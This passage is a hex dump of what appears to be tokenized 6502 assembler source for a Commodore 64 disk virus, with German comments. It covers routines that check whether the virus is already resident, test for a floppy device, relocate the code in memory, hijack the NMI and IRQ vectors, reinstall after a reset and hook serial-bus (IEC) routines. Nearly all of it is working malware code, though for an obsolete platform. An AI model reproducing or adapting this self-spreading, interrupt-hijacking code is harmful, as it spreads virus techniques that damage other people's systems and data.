00003110: 20 20 20 20 20 20 20 3B  59 AA 00 2D 39 CA 3A 50  |       ;Y..-9.:P|
00003120: 48 41 20 20 20 20 20 20  20 20 20 3B 41 00 4A 39  |HA         ;A.J9|
00003130: D4 3A 4A 53 52 20 53 9B  20 20 20 3B 41 4E 20 46  |.:JSR S.   ;AN F|
00003140: 4C 4F 50 50 59 20 53 80  45 4E 00 57 39 DE 3A 4C  |LOPPY S.EN.W9.:L|
00003150: 44 41 20 23 22 4D 22 00  64 39 E8 3A 4A 53 52 20  |DA #"M".d9.:JSR |
00003160: 50 41 50 41 00 71 39 F2  3A 4C 44 41 20 23 22 2D  |PAPA.q9.:LDA #"-|
00003170: 22 00 7E 39 FC 3A 4A 53  52 20 50 41 50 41 00 89  |".~9.:JSR PAPA..|
00003180: 39 06 3B 4C 44 41 20 44  4F 00 96 39 10 3B 4A 53  |9.;LDA DO..9.;JS|
00003190: 52 20 50 41 50 41 00 9E  39 1A 3B 50 4C 41 00 AB  |R PAPA..9.;PLA..|
000031A0: 39 24 3B 4A 53 52 20 50  41 50 41 00 B3 39 2E 3B  |9$;JSR PAPA..9.;|
000031B0: 50 4C 41 00 C0 39 38 3B  4A 53 52 20 50 41 50 41  |PLA..98;JSR PAPA|
000031C0: 00 C8 39 42 3B 50 4C 41  00 D5 39 4C 3B 4A 4D 50  |..9B;PLA..9L;JMP|
000031D0: 20 50 41 50 41 00 F4 39  80 3E 3B AB AB AB AB 49  | PAPA..9.>;....I|
000031E0: 45 43 4C 49 4E 4B AB AB  AB AB AB AB AB AB AB AB  |ECLINK..........|
000031F0: AB AB AB B1 00 14 3A 81  3E 3B 49 45 43 42 55 53  |......:.>;IECBUS|
00003200: AB 52 4F 55 54 49 4E 45  4E 20 55 45 42 45 52 20  |.ROUTINEN UEBER |
00003210: 4C 49 4E 4B 00 24 3A 82  3E 3B 41 55 53 46 55 45  |LINK.$:.>;AUSFUE|
00003220: 48 52 45 4E 00 48 3A 8A  3E 42 4C 41 43 4B 42 49  |HREN.H:.>BLACKBI|
00003230: 52 44 20 4A 53 52 20 4D  41 4B 45 20 3A 20 4A 53  |RD JSR MAKE : JS|
00003240: 52 20 53 45 54 50 41 52  00 50 3A 94 3E 52 54 53  |R SETPAR.P:.>RTS|
00003250: 00 73 3A 9E 3E 48 41 43  B5 4F 53 48 20 4A 53 52  |.s:.>HAC.OSH JSR|
00003260: 20 4D 41 4B 45 20 3A 20  4A 53 52 20 53 45 54 4E  | MAKE : JSR SETN|
00003270: 41 4D 45 00 7B 3A A8 3E  52 54 53 00 9D 3A B2 3E  |AME.{:.>RTS..:.>|
00003280: 48 41 4E 53 20 20 20 20  20 20 4A 53 52 20 4D 41  |HANS      JSR MA|
00003290: 4B 45 20 3A 20 4A 53 52  20 49 45 43 9F 00 A5 3A  |KE : JSR IEC...:|
000032A0: BC 3E 52 54 53 00 C7 3A  C6 3E 54 48 4F 4D 41 53  |.>RTS..:.>THOMAS|
000032B0: 20 20 20 20 4A 53 52 20  4D 41 4B 45 20 3A 20 4A  |    JSR MAKE : J|
000032C0: 53 52 20 53 45 4B 9B 00  CF 3A D0 3E 52 54 53 00  |SR SEK...:.>RTS.|
000032D0: F4 3A DA 3E 43 48 52 49  53 54 49 4E 45 20 4A 53  |.:.>CHRISTINE JS|
000032E0: 52 20 4D 41 4B 45 20 3A  20 4A 53 52 20 53 45 4B  |R MAKE : JSR SEK|
000032F0: 54 41 4C 4B 00 FC 3A E4  3E 52 54 53 00 1B 3B EE  |TALK..:.>RTS..;.|
00003300: 3E 4E 45 4D 4F 20 20 20  20 20 20 4A 53 52 20 4D  |>NEMO      JSR M|
00003310: 41 4B 45 20 3A 20 4A 53  52 20 9B 00 23 3B F8 3E  |AKE : JSR ..#;.>|
00003320: 52 54 53 00 45 3B 02 3F  53 41 53 4B 49 41 20 20  |RTS.E;.?SASKIA  |
00003330: 20 20 4A 53 52 20 4D 41  4B 45 20 3A 20 4A 53 52  |  JSR MAKE : JSR|
00003340: 20 54 41 4C 4B 00 4D 3B  0C 3F 52 54 53 00 6E 3B  | TALK.M;.?RTS.n;|
00003350: 16 3F 47 41 52 46 49 45  4C 44 20 20 4A 53 52 20  |.?GARFIELD  JSR |
00003360: 4D 41 4B 45 20 3A 20 4A  53 52 20 55 4E 9B 00 76  |MAKE : JSR UN..v|
00003370: 3B 20 3F 52 54 53 00 9A  3B 2A 3F 53 55 48 41 4C  |; ?RTS..;*?SUHAL|
00003380: 20 20 20 20 20 4A 53 52  20 4D 41 4B 45 20 3A 20  |     JSR MAKE : |
00003390: 4A 53 52 20 55 4E 54 41  4C 4B 00 A2 3B 34 3F 52  |JSR UNTALK..;4?R|
000033A0: 54 53 00 C6 3B 3E 3F 50  41 50 41 20 20 20 20 20  |TS..;>?PAPA     |
000033B0: 20 4A 53 52 20 4D 41 4B  45 20 3A 20 4A 53 52 20  | JSR MAKE : JSR |
000033C0: 49 45 43 4F 55 54 00 CE  3B 48 3F 52 54 53 00 F0  |IECOUT..;H?RTS..|
000033D0: 3B 52 3F 42 48 50 20 20  20 20 20 20 20 4A 53 52  |;R?BHP       JSR|
000033E0: 20 4D 41 4B 45 20 3A 20  4A 53 52 20 49 45 43 A1  | MAKE : JSR IEC.|
000033F0: 00 F8 3B 5C 3F 52 54 53  00 17 3C 66 3F 46 4A 53  |..;\?RTS..<f?FJS|
00003400: 20 20 20 20 20 20 20 4A  53 52 20 4D 41 4B 45 20  |       JSR MAKE |
00003410: 3A 20 4A 53 52 20 A0 00  1F 3C 70 3F 52 54 53 00  |: JSR ...<p?RTS.|
00003420: 3C 3C 20 4E 3B AB AB 42  45 54 52 49 45 42 53 9E  |<< N;..BETRIEBS.|
00003430: 54 45 4D AB 41 55 46 52  55 46 AB B1 00 5F 3C 2A  |TEM.AUFRUF..._<*|
00003440: 4E 4D 41 4B 45 20 50 48  50 20 20 20 20 3B 50 52  |NMAKE PHP    ;PR|
00003450: 4F 5A 45 53 53 B0 AB 52  45 47 49 53 54 45 52 00  |OZESS..REGISTER.|
00003460: 77 3C 34 4E 50 48 41 20  20 20 20 20 20 20 20 20  |w<4NPHA         |
00003470: 3B 52 45 54 54 45 4E 00  7F 3C 3E 4E 54 58 41 00  |;RETTEN..<>NTXA.|
00003480: 87 3C 48 4E 50 48 41 00  8F 3C 52 4E 54 59 41 00  |.<HNPHA..<RNTYA.|
00003490: 97 3C 5C 4E 50 48 41 00  BA 3C 66 4E 54 53 58 20  |.<\NPHA..<fNTSX |
000034A0: 20 20 20 20 20 20 20 20  3B 52 55 45 43 4B 4B 45  |        ;RUECKKE|
000034B0: 48 52 AB 41 44 52 45 53  53 45 00 D5 3C 70 4E 54  |HR.ADRESSE..<pNT|
000034C0: 58 41 20 20 20 20 20 20  20 20 20 3B 42 45 52 45  |XA         ;BERE|
000034D0: 43 48 4E 45 4E 00 DD 3C  7A 4E 43 4C 43 00 E8 3C  |CHNEN..<zNCLC..<|
000034E0: 84 4E 41 44 43 20 23 35  00 F0 3C 8E 4E 54 41 58  |.NADC #5..<.NTAX|
000034F0: 00 02 3D 98 4E 4C 44 41  20 24 30 31 30 30 2C 58  |..=.NLDA $0100,X|
00003500: 20 3B 00 1A 3D A2 4E 53  54 41 20 4D 45 4D 31 20  | ;..=.NSTA MEM1 |
00003510: 20 20 20 3B 4D 45 52 4B  45 4E 00 2C 3D AC 4E 43  |   ;MERKEN.,=.NC|
00003520: 4C 43 20 20 20 20 20 20  20 20 20 3B 00 4C 3D B6  |LC         ;.L=.|
00003530: 4E 41 44 43 20 23 33 20  20 20 20 20 20 3B 55 4E  |NADC #3      ;UN|
00003540: 44 20 4B B0 52 49 47 49  45 52 45 4E 00 5C 3D C0  |D K.RIGIEREN.\=.|
00003550: 4E 53 54 41 20 24 30 31  30 30 2C 58 00 7D 3D CA  |NSTA $0100,X.}=.|
00003560: 4E 50 48 50 20 20 20 20  20 20 20 20 20 3B 44 41  |NPHP         ;DA|
00003570: 53 20 47 4C 45 49 43 48  45 20 4D 49 54 00 9A 3D  |S GLEICHE MIT..=|
00003580: D4 4E 49 4E 58 20 20 20  20 20 20 20 20 20 3B 44  |.NINX         ;D|
00003590: 45 4D 20 4C 4F AB 42 59  54 45 00 A2 3D DE 4E 50  |EM LO.BYTE..=.NP|
000035A0: 4C 50 00 B2 3D E8 4E 4C  44 41 20 24 30 31 30 30  |LP..=.NLDA $0100|
000035B0: 2C 58 00 BF 3D F2 4E 53  54 41 20 4D 45 4D 32 00  |,X..=.NSTA MEM2.|
000035C0: CA 3D FC 4E 41 44 43 20  23 30 00 DA 3D 06 4F 53  |.=.NADC #0..=.OS|
000035D0: 54 41 20 24 30 31 30 30  2C 58 00 E5 3D 10 4F 4C  |TA $0100,X..=.OL|
000035E0: 44 59 20 23 33 00 F9 3D  1A 4F 4D 31 20 4C 44 41  |DY #3..=.OM1 LDA|
000035F0: 20 28 4D 45 4D 31 29 2C  59 00 1C 3E 24 4F 53 54  | (MEM1),Y..>$OST|
00003600: 41 20 4C 49 4E 4B AB 31  2C 59 3B 50 52 4F 47 52  |A LINK.1,Y;PROGR|
00003610: 41 4D 4D 54 45 49 4C 20  4E 41 43 48 00 3B 3E 2E  |AMMTEIL NACH.;>.|
00003620: 4F 44 45 59 20 20 20 20  20 20 20 20 20 3B 4C 49  |ODEY         ;LI|
00003630: 4E 4B 20 4B 4F 50 49 45  52 45 4E 00 46 3E 38 4F  |NK KOPIEREN.F>8O|
00003640: 42 4E 45 20 4D 31 00 6B  3E 42 4F 50 4C 41 20 20  |BNE M1.k>BOPLA  |
00003650: 20 20 20 20 20 20 20 3B  52 45 47 49 53 54 45 52  |       ;REGISTER|
00003660: 20 52 45 50 41 52 49 45  52 45 4E 00 73 3E 4C 4F  | REPARIEREN.s>LO|
00003670: 54 41 59 00 7B 3E 56 4F  50 4C 41 00 83 3E 60 4F  |TAY.{>VOPLA..>`O|
00003680: 54 41 58 00 8B 3E 6A 4F  50 4C 41 00 93 3E 74 4F  |TAX..>jOPLA..>tO|
00003690: 50 4C 50 00 B3 3E 7E 4F  4A 4D 50 20 4C 49 4E 4B  |PLP..>~OJMP LINK|
000036A0: AA 34 20 20 3B 55 4E 44  20 41 55 53 46 55 45 48  |.4  ;UND AUSFUEH|
000036B0: 52 45 4E 00 D1 3E 30 75  3B AB AB AB AB AB AB 9E  |REN..>0u;.......|
000036C0: 54 45 4D AB AB AB AB AB  AB AB AB AB AB AB AB B1  |TEM.............|
000036D0: 9E 00 E4 3E 3A 75 9E 54  45 4D 20 4C 44 41 20 24  |...>:u.TEM LDA $|
000036E0: 46 46 46 41 00 06 3F 44  75 50 48 41 20 20 20 20  |FFFA..?DuPHA    |
000036F0: 20 20 20 20 20 3B 4E 4D  49 AB 56 45 4B A4 52 20  |     ;NMI.VEK.R |
00003700: 52 45 54 54 45 4E 00 18  3F 4E 75 4C 44 41 20 24  |RETTEN..?NuLDA $|
00003710: 46 46 46 42 20 20 20 3B  00 2A 3F 58 75 50 48 41  |FFFB   ;.*?XuPHA|
00003720: 20 20 20 20 20 20 20 20  20 3B 00 49 3F 62 75 4C  |         ;.I?buL|
00003730: 44 41 20 23 B3 8E 3B 55  4E 44 20 41 55 46 20 52  |DA #..;UND AUF R|
00003740: 54 49 20 53 45 54 5A 45  4E 00 5B 3F 6C 75 53 54  |TI SETZEN.[?luST|
00003750: 41 20 24 46 46 46 41 20  20 20 3B 00 67 3F 76 75  |A $FFFA   ;.g?vu|
00003760: 4C 44 41 20 23 B1 8E 00  75 3F 80 75 53 54 41 20  |LDA #...u?.uSTA |
00003770: 24 46 46 46 42 00 87 3F  8A 75 4C 44 41 20 4D 45  |$FFFB..?.uLDA ME|
00003780: 4D 31 20 20 20 20 3B 00  99 3F 94 75 50 48 41 20  |M1    ;..?.uPHA |
00003790: 20 20 20 20 20 20 20 20  3B 00 AB 3F 9E 75 4C 44  |        ;..?.uLD|
000037A0: 41 20 4D 45 4D 32 20 20  20 20 3B 00 CE 3F A8 75  |A MEM2    ;..?.u|
000037B0: 50 48 41 20 20 20 20 20  20 20 20 20 3B 44 49 56  |PHA         ;DIV|
000037C0: 45 52 53 45 20 53 50 45  49 43 48 45 52 AB 00 EF  |ERSE SPEICHER...|
000037D0: 3F B2 75 4C 44 41 20 4D  45 4D 33 20 20 20 20 3B  |?.uLDA MEM3    ;|
000037E0: 53 54 45 4C C3 20 52 45  54 54 45 4E 2E 2E 2E 00  |STEL. RETTEN....|
000037F0: 01 40 BC 75 50 48 41 20  20 20 20 20 20 20 20 20  |.@.uPHA         |
00003800: 3B 00 13 40 C6 75 4C 44  41 20 4D 45 4D 34 20 20  |;..@.uLDA MEM4  |
00003810: 20 20 3B 00 25 40 D0 75  50 48 41 20 20 20 20 20  |  ;.%@.uPHA     |
00003820: 20 20 20 20 3B 00 46 40  DA 75 54 58 41 20 20 20  |    ;.F@.uTXA   |
00003830: 20 20 20 20 20 20 3B 58  AA 59 20 56 B0 55 45 42  |      ;X.Y V.UEB|
00003840: 45 52 47 45 48 80 00 5E  40 E4 75 50 48 41 20 20  |ERGEH..^@.uPHA  |
00003850: 20 20 20 20 20 20 20 3B  52 45 54 54 45 4E 00 66  |       ;RETTEN.f|
00003860: 40 EE 75 54 59 41 00 6E  40 F8 75 50 48 41 00 92  |@.uTYA.n@.uPHA..|
00003870: 40 F9 75 4A 53 52 20 52  45 49 4E 53 54 20 20 3B  |@.uJSR REINST  ;|
00003880: 5A 45 49 47 45 52 20 55  45 42 45 52 50 52 55 46  |ZEIGER UEBERPRUF|
00003890: 45 4E 00 B2 40 FA 75 50  4C 41 20 20 20 20 20 20  |EN..@.uPLA      |
000038A0: 20 20 20 3B 58 AA 59 20  57 49 45 44 45 52 20 48  |   ;X.Y WIEDER H|
000038B0: 4F C3 00 BA 40 FB 75 54  41 59 00 C2 40 FC 75 50  |O...@.uTAY..@.uP|
000038C0: 4C 41 00 CA 40 FD 75 54  41 58 00 D9 40 03 76 4C  |LA..@.uTAX..@.vL|
000038D0: 44 41 20 49 52 51 50 AA  31 00 E1 40 04 76 50 48  |DA IRQP.1..@.vPH|
000038E0: 41 00 EE 40 05 76 4C 44  41 20 49 52 51 50 00 F6  |A..@.vLDA IRQP..|
000038F0: 40 06 76 50 48 41 00 10  41 0C 76 4C 44 41 20 23  |@.vPHA..A.vLDA #|
00003900: B3 49 52 51 45 20 20 3B  B5 45 52 52 55 50 54 53  |.IRQE  ;.ERRUPTS|
00003910: 00 2E 41 16 76 53 54 41  20 49 52 51 50 20 20 20  |..A.vSTA IRQP   |
00003920: 20 3B 45 4E 54 53 43 48  41 45 52 46 45 4E 00 3D  | ;ENTSCHAERFEN.=|
00003930: 41 20 76 4C 44 41 20 23  B1 49 52 51 45 00 4C 41  |A vLDA #.IRQE.LA|
00003940: 2A 76 53 54 41 20 49 52  51 50 AA 31 00 5B 41 34  |*vSTA IRQP.1.[A4|
00003950: 76 4C 44 41 20 23 B3 4E  4D 49 45 00 68 41 3E 76  |vLDA #.NMIE.hA>v|
00003960: 53 54 41 20 4E 4D 49 50  00 77 41 48 76 4C 44 41  |STA NMIP.wAHvLDA|
00003970: 20 23 B1 4E 4D 49 45 00  86 41 52 76 53 54 41 20  | #.NMIE..ARvSTA |
00003980: 4E 4D 49 50 AA 31 00 8E  41 53 76 54 58 41 00 AA  |NMIP.1..ASvTXA..|
00003990: 41 54 76 50 48 41 20 20  20 20 20 20 20 20 20 3B  |ATvPHA         ;|
000039A0: 58 AA 59 20 52 45 54 54  45 4E 00 BC 41 55 76 54  |X.Y RETTEN..AUvT|
000039B0: 59 41 20 20 20 20 20 20  20 20 20 3B 00 CE 41 56  |YA         ;..AV|
000039C0: 76 50 48 41 20 20 20 20  20 20 20 20 20 3B 00 F0  |vPHA         ;..|
000039D0: 41 5C 76 54 53 58 20 20  20 20 20 20 20 20 20 3B  |A\vTSX         ;|
000039E0: 50 41 52 41 4D 45 54 45  52 20 41 55 46 47 8A 44  |PARAMETER AUFG.D|
000039F0: 00 16 42 66 76 54 58 41  20 20 20 20 20 20 20 20  |..BfvTXA        |
00003A00: 20 3B 44 45 53 20 53 54  41 43 4B 53 20 42 45 52  | ;DES STACKS BER|
00003A10: 45 43 48 4E 45 4E 00 28  42 70 76 43 4C 43 20 20  |ECHNEN.(BpvCLC  |
00003A20: 20 20 20 20 20 20 20 3B  00 3A 42 7A 76 41 44 43  |       ;.:BzvADC|
00003A30: 20 23 31 36 20 20 20 20  20 3B 00 42 42 84 76 54  | #16     ;.BB.vT|
00003A40: 41 58 00 4A 42 8E 76 43  4C 43 00 69 42 98 76 4C  |AX.JB.vCLC.iB.vL|
00003A50: 44 41 20 24 30 31 30 30  2C 58 20 3B 4C 4F AB 5A  |DA $0100,X ;LO.Z|
00003A60: 45 49 47 45 52 20 48 4F  C3 00 88 42 A2 76 41 44  |EIGER HO...B.vAD|
00003A70: 43 20 23 31 20 20 20 20  20 20 3B 52 55 45 43 4B  |C #1      ;RUECK|
00003A80: 53 50 8A 47 20 4E 45 55  00 A7 42 AC 76 53 54 41  |SP.G NEU..B.vSTA|
00003A90: 20 4D 45 4D 31 20 20 20  20 3B 42 45 52 45 43 48  | MEM1    ;BERECH|
00003AA0: 4E 45 4E 20 55 4E 44 00  C2 42 B6 76 53 54 41 20  |NEN UND..B.vSTA |
00003AB0: 24 30 31 30 30 2C 58 20  3B 53 50 45 49 43 48 45  |$0100,X ;SPEICHE|
00003AC0: 52 4E 00 D4 42 C0 76 50  48 50 20 20 20 20 20 20  |RN..B.vPHP      |
00003AD0: 20 20 20 3B 00 E6 42 CA  76 49 4E 58 20 20 20 20  |   ;..B.vINX    |
00003AE0: 20 20 20 20 20 3B 00 0A  43 D4 76 50 4C 50 20 20  |     ;..C.vPLP  |
00003AF0: 20 20 20 20 20 20 20 3B  44 41 53 20 47 4C 45 49  |       ;DAS GLEI|
00003B00: 43 48 45 20 4D 49 54 20  48 49 00 1C 43 DE 76 4C  |CHE MIT HI..C.vL|
00003B10: 44 41 20 24 30 31 30 30  2C 58 20 3B 00 2E 43 E8  |DA $0100,X ;..C.|
00003B20: 76 41 44 43 20 23 30 20  20 20 20 20 20 3B 00 40  |vADC #0      ;.@|
00003B30: 43 F2 76 53 54 41 20 4D  45 4D 32 20 20 20 20 3B  |C.vSTA MEM2    ;|
00003B40: 00 52 43 FC 76 53 54 41  20 24 30 31 30 30 2C 58  |.RC.vSTA $0100,X|
00003B50: 20 3B 00 5D 43 06 77 4C  44 59 20 23 30 00 6E 43  | ;.]C.wLDY #0.nC|
00003B60: 10 77 4C 44 41 20 28 4D  45 4D 31 29 2C 59 00 7B  |.wLDA (MEM1),Y.{|
00003B70: 43 1A 77 43 4D 50 20 23  31 32 38 00 86 43 24 77  |C.wCMP #128..C$w|
00003B80: 42 45 51 20 9E 93 00 92  43 2E 77 43 4D 50 20 23  |BEQ ....C.wCMP #|
00003B90: 36 34 00 9D 43 38 77 42  45 51 20 9E 94 00 A9 43  |64..C8wBEQ ....C|
00003BA0: 42 77 43 4D 50 20 23 31  36 00 B6 43 4C 77 42 45  |BwCMP #16..CLwBE|
00003BB0: 51 20 9E 4E 4D 49 00 C6  43 74 77 9E 80 20 4A 53  |Q .NMI..Ctw.. JS|
00003BC0: 52 20 4D 41 4B 45 00 E9  43 7E 77 4C 44 41 20 4E  |R MAKE..C~wLDA N|
00003BD0: 4D 49 54 41 48 20 20 3B  4E 4D 49 AB 54 49 4D 45  |MITAH  ;NMI.TIME|
00003BE0: 52 20 41 42 46 52 41 47  45 00 F7 43 88 77 42 45  |R ABFRAGE..C.wBE|
00003BF0: 51 20 9E 80 20 20 3B 00  09 44 92 77 4A 53 52 20  |Q ..  ;..D.wJSR |
00003C00: 4D 41 4B 45 20 20 20 20  3B 00 1B 44 9C 77 4C 44  |MAKE    ;..D.wLD|
00003C10: 41 20 4E 4D 49 54 42 48  20 20 3B 00 26 44 A6 77  |A NMITBH  ;.&D.w|
00003C20: 42 45 51 20 9E 80 00 40  44 A7 77 50 4C 41 20 20  |BEQ ...@D.wPLA  |
00003C30: 20 20 20 20 20 20 20 3B  52 45 47 49 53 54 45 52  |       ;REGISTER|
00003C40: 00 5E 44 A8 77 54 41 59  20 20 20 20 20 20 20 20  |.^D.wTAY        |
00003C50: 20 3B 52 45 53 54 41 55  52 49 45 52 45 4E 00 66  | ;RESTAURIEREN.f|
00003C60: 44 A9 77 50 4C 41 00 6E  44 AA 77 54 41 58 00 8E  |D.wPLA.nD.wTAX..|
00003C70: 44 B0 77 50 4C 41 20 20  20 20 20 20 20 20 20 3B  |D.wPLA         ;|
00003C80: B5 45 52 55 50 54 53 20  57 49 45 44 45 52 00 AC  |.ERUPTS WIEDER..|
00003C90: 44 BA 77 53 54 41 20 49  52 51 50 20 20 20 20 3B  |D.wSTA IRQP    ;|
00003CA0: 52 45 B0 47 41 4E 49 53  49 45 52 4E 00 B4 44 C4  |RE.GANISIERN..D.|
00003CB0: 77 50 4C 41 00 C3 44 CE  77 53 54 41 20 49 52 51  |wPLA..D.wSTA IRQ|
00003CC0: 50 AA 31 00 D2 44 D8 77  4C 44 41 20 23 B3 4E 4D  |P.1..D.wLDA #.NM|
00003CD0: 49 31 00 DF 44 E2 77 53  54 41 20 4E 4D 49 50 00  |I1..D.wSTA NMIP.|
00003CE0: EE 44 EC 77 4C 44 41 20  23 B1 4E 4D 49 31 00 FD  |.D.wLDA #.NMI1..|
00003CF0: 44 F6 77 53 54 41 20 4E  4D 49 50 AA 31 00 1B 45  |D.wSTA NMIP.1..E|
00003D00: 28 78 9E 9A 20 50 4C 41  20 3B 44 49 56 45 52 53  |(x.. PLA ;DIVERS|
00003D10: 45 20 53 50 45 49 43 48  45 52 AB 00 32 45 32 78  |E SPEICHER..2E2x|
00003D20: 53 54 41 20 4D 45 4D 34  20 20 20 20 3B 53 54 45  |STA MEM4    ;STE|
00003D30: 4C C3 00 4E 45 3C 78 50  4C 41 20 20 20 20 20 20  |L..NE<xPLA      |
00003D40: 20 20 20 3B 52 45 50 41  52 49 45 52 45 4E 00 5B  |   ;REPARIEREN.[|
00003D50: 45 46 78 53 54 41 20 4D  45 4D 33 00 63 45 50 78  |EFxSTA MEM3.cEPx|
00003D60: 50 4C 41 00 70 45 5A 78  53 54 41 20 4D 45 4D 32  |PLA.pEZxSTA MEM2|
00003D70: 00 78 45 64 78 50 4C 41  00 85 45 6E 78 53 54 41  |.xEdxPLA..EnxSTA|
00003D80: 20 4D 45 4D 31 00 AA 45  78 78 50 4C 41 20 20 20  | MEM1..ExxPLA   |
00003D90: 20 20 20 20 20 20 3B 4E  4D 49 56 45 4B A4 52 20  |      ;NMIVEK.R |
00003DA0: 52 45 50 41 52 49 45 52  45 4E 00 B8 45 82 78 53  |REPARIEREN..E.xS|
00003DB0: 54 41 20 24 46 46 46 42  00 C0 45 8C 78 50 4C 41  |TA $FFFB..E.xPLA|
00003DC0: 00 CE 45 96 78 53 54 41  20 24 46 46 46 41 00 D6  |..E.xSTA $FFFA..|
00003DD0: 45 A0 78 52 54 53 00 F3  45 18 79 3B AB AB AB AB  |E.xRTS..E.y;....|
00003DE0: 56 49 52 55 53 AB 93 AB  52 4F 55 54 49 4E 45 AB  |VIRUS...ROUTINE.|
00003DF0: AB B1 4C 00 02 46 22 79  9E 93 20 20 4C 44 59 20  |..L..F"y..  LDY |
00003E00: 23 31 00 15 46 2C 79 4C  44 41 20 28 42 41 53 49  |#1..F,yLDA (BASI|
00003E10: 43 53 29 2C 59 00 37 46  36 79 42 45 51 20 9E 80  |CS),Y.7F6yBEQ ..|
00003E20: 20 20 3B 55 45 42 45 52  50 52 55 45 46 45 20 4F  |  ;UEBERPRUEFE O|
00003E30: 42 20 56 49 52 55 53 00  59 46 40 79 4C 44 59 20  |B VIRUS.YF@yLDY |
00003E40: 23 33 31 20 20 20 20 20  3B 53 43 48 91 20 49 4D  |#31     ;SCH. IM|
00003E50: 20 53 50 45 49 43 48 45  52 00 6E 46 4A 79 4C 44  | SPEICHER.nFJyLD|
00003E60: 58 20 23 32 36 20 20 20  20 20 3B 49 53 54 00 84  |X #26     ;IST..|
00003E70: 46 54 79 4C 31 20 4C 44  41 20 28 42 41 53 49 43  |FTyL1 LDA (BASIC|
00003E80: 53 29 2C 59 00 94 46 5E  79 43 4D 50 20 56 49 52  |S),Y..F^yCMP VIR|
00003E90: 55 53 2C 58 00 B5 46 68  79 42 4E 45 20 9E 94 20  |US,X..FhyBNE .. |
00003EA0: 3B 4E 45 49 4E 2C 20 44  41 4E 4E 20 56 45 52 53  |;NEIN, DANN VERS|
00003EB0: 45 55 43 48 45 00 BD 46  72 79 44 45 59 00 C5 46  |EUCHE..FryDEY..F|
00003EC0: 7C 79 44 45 58 00 D0 46  86 79 42 4E 45 20 4C 31  ||yDEX..F.yBNE L1|
00003ED0: 00 EE 46 90 79 50 4C 41  20 20 20 20 20 20 20 20  |..F.yPLA        |
00003EE0: 20 3B 80 41 44 52 45 53  53 45 20 48 4F C3 00 FB  | ;.ADRESSE HO...|
00003EF0: 46 9A 79 53 54 41 20 93  45 AA 31 00 03 47 A4 79  |F.ySTA .E.1..G.y|
00003F00: 50 4C 41 00 0E 47 AE 79  53 54 41 20 93 45 00 34  |PLA..G.ySTA .E.4|
00003F10: 47 B8 79 4A 53 52 20 4D  4F 56 45 20 20 20 20 3B  |G.yJSR MOVE    ;|
00003F20: 50 52 4F 47 52 41 4D 4D  20 49 4D 20 53 50 45 49  |PROGRAMM IM SPEI|
00003F30: 43 48 45 52 00 4E 47 C2  79 4C 44 41 20 93 45 20  |CHER.NG.yLDA .E |
00003F40: 20 20 3B 56 45 52 53 43  48 49 45 42 45 4E 00 56  |  ;VERSCHIEBEN.V|
00003F50: 47 CC 79 50 48 41 00 6D  47 D6 79 4C 44 41 20 93  |G.yPHA.mG.yLDA .|
00003F60: 45 AA 31 20 3B 93 41 44  52 45 53 53 45 00 89 47  |E.1 ;.ADRESSE..G|
00003F70: E0 79 50 48 41 20 20 20  20 20 20 20 20 20 3B 4B  |.yPHA         ;K|
00003F80: B0 52 49 47 49 45 52 45  4E 00 94 47 EA 79 4A 4D  |.RIGIEREN..G.yJM|
00003F90: 50 20 9E 80 00 B1 47 00  7D 3B AB AB AB AB 56 49  |P ....G.};....VI|
00003FA0: 52 55 53 AB 94 AB 52 4F  55 54 49 4E 45 AB AB AB  |RUS...ROUTINE...|
00003FB0: B1 00 CD 47 0A 7D 9E 94  20 4C 44 41 20 44 45 56  |...G.}.. LDA DEV|
00003FC0: 20 3B 55 45 42 45 52 50  52 55 45 46 45 00 F3 47  | ;UEBERPRUEFE..G|
00003FD0: 14 7D 43 4D 50 20 23 24  30 38 20 20 20 20 20 20  |.}CMP #$08      |
00003FE0: 20 20 3B 4F 42 20 44 45  56 49 43 45 20 46 4C 4F  |  ;OB DEVICE FLO|
00003FF0: 50 50 59 00 08 48 1E 7D  42 43 43 20 9E 80 20 20  |PPY..H.}BCC ..  |
00004000: 20 20 20 20 3B 49 53 54  00 15 48 28 7D 4A 53 52  |    ;IST..H(}JSR|
00004010: 20 44 4F 49 54 00 36 48  32 7D 4A 4D 50 20 9E 80  | DOIT.6H2}JMP ..|
00004020: 20 20 3B 50 52 4F 47 52  41 4D 4D 20 56 45 52 53  |  ;PROGRAMM VERS|
00004030: 45 55 43 48 45 4E 00 56  48 E8 80 3B AB AB AB AB  |EUCHEN.VH..;....|
00004040: 56 49 52 55 53 AB 4E 4D  49 AB 52 4F 55 54 49 4E  |VIRUS.NMI.ROUTIN|
00004050: 45 AB AB AB AB B1 00 68  48 F2 80 9E 4E 4D 49 20  |E......hH...NMI |
00004060: 4A 53 52 20 4D 41 4B 45  00 87 48 FC 80 4A 53 52  |JSR MAKE..H..JSR|
00004070: 20 90 20 20 20 3B 90 AB  54 41 53 54 45 20 47 45  | .   ;..TASTE GE|
00004080: 44 52 55 45 43 4B 54 00  9B 48 06 81 42 4E 45 20  |DRUECKT..H..BNE |
00004090: 9E 80 20 3B AB AB B1 4E  45 49 4E 00 A8 48 10 81  |.. ;...NEIN..H..|
000040A0: 4A 53 52 20 4D 41 4B 45  00 C7 48 1A 81 4A 53 52  |JSR MAKE..H..JSR|
000040B0: 20 24 46 44 31 35 20 20  3B 56 45 4B A4 52 45 4E  | $FD15  ;VEK.REN|
000040C0: 20 53 45 54 5A 45 4E 00  E2 48 24 81 4A 53 52 20  | SETZEN..H$.JSR |
000040D0: 52 45 49 4E 53 54 20 3B  56 49 52 55 53 20 49 4E  |REINST ;VIRUS IN|
000040E0: 49 54 00 01 49 2E 81 4C  44 58 20 23 24 30 31 20  |IT..I..LDX #$01 |
000040F0: 20 20 3B 53 54 41 43 4B  20 22 50 55 54 5A 45 4E  |  ;STACK "PUTZEN|
00004100: 22 00 09 49 38 81 54 58  53 00 16 49 42 81 4A 53  |"..I8.TXS..IB.JS|
00004110: 52 20 4D 41 4B 45 00 39  49 4C 81 4A 4D 50 20 24  |R MAKE.9IL.JMP $|
00004120: 46 45 36 39 20 20 3B 53  C0 44 41 52 54 4E 4D 49  |FE69  ;S.DARTNMI|
00004130: 20 56 B0 53 45 54 5A 45  4E 00 59 49 D0 84 3B AB  | V.SETZEN.YI..;.|
00004140: AB 56 49 52 55 53 AB 52  45 53 45 54 AB 52 4F 55  |.VIRUS.RESET.ROU|
00004150: 54 49 4E 45 AB AB AB AB  B1 00 6F 49 DA 84 9E 52  |TINE......oI...R|
00004160: 45 53 45 54 20 4A 53 52  20 52 45 4C 49 4E 4B 00  |ESET JSR RELINK.|
00004170: 7A 49 DB 84 4C 44 58 20  23 30 00 87 49 DF 84 4A  |zI..LDX #0..I..J|
